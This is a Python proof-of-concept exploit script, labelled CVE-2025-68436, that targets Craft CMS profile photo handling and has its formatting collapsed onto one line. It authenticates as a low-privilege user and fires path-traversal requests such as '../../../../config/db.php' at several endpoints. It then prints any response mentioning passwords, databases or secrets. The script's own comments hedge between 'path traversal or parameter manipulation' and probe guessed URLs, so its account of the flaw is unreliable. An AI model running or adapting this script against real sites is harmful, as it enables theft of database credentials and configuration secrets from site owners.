CVE-2025-68436

import requests import re # CVE-2025-68436 PoC - Craft CMS Profile Photo Asset Exposure # Target: Craft CMS versions 5.0.0-RC1 to 5.8.20, 4.0.0-RC1 to 4.16.16 TARGET_URL = "http://target-craft-cms.com" USERNAME = "attacker_account" PASSWORD = "attacker_password" def exploit_cve_2025_68436(): """ Exploit for Craft CMS user profile photo sensitive asset exposure vulnerability. This PoC demonstrates how an authenticated low-privilege user can access sensitive assets through the profile photo functionality. """ session = requests.Session() # Step 1: Authenticate with low-privilege account login_url = f"{TARGET_URL}/admin/login" login_data = { 'loginName': USERNAME, 'password': PASSWORD } resp = session.post(login_url, data=login_data) if 'admin' not in resp.url: print("[-] Login failed") return None print("[+] Login successful") # Step 2: Get user ID and profile endpoint profile_url = f"{TARGET_URL}/admin/my-account" profile_page = session.get(profile_url) user_id = re.search(r'data-user-id="(\d+)"', profile_page.text) if not user_id: print("[-] Could not extract user ID") return None user_id = user_id.group(1) print(f"[+] User ID: {user_id}") # Step 3: Exploit profile photo endpoint to access sensitive assets # The vulnerability allows path traversal or parameter manipulation exploit_urls = [ f"{TARGET_URL}/actions/users/user-photo?userId={user_id}&filename=../../../../config/db.php", f"{TARGET_URL}/actions/users/user-photo?userId={user_id}&size=original", f"{TARGET_URL}/cpresources/../../../config/db.php" ] for url in exploit_urls: print(f"[*] Testing: {url}") resp = session.get(url, timeout=10) # Check for sensitive data exposure if resp.status_code == 200: content = resp.text if 'password' in content.lower() or 'database' in content.lower() or 'secret' in content.lower(): print(f"[!] SENSITIVE DATA EXPOSED via {url}") print(f"[+] Content preview: {content[:500]}") return content print("[-] Exploitation failed - no sensitive data retrieved") return None if __name__ == "__main__": exploit_cve_2025_68436()

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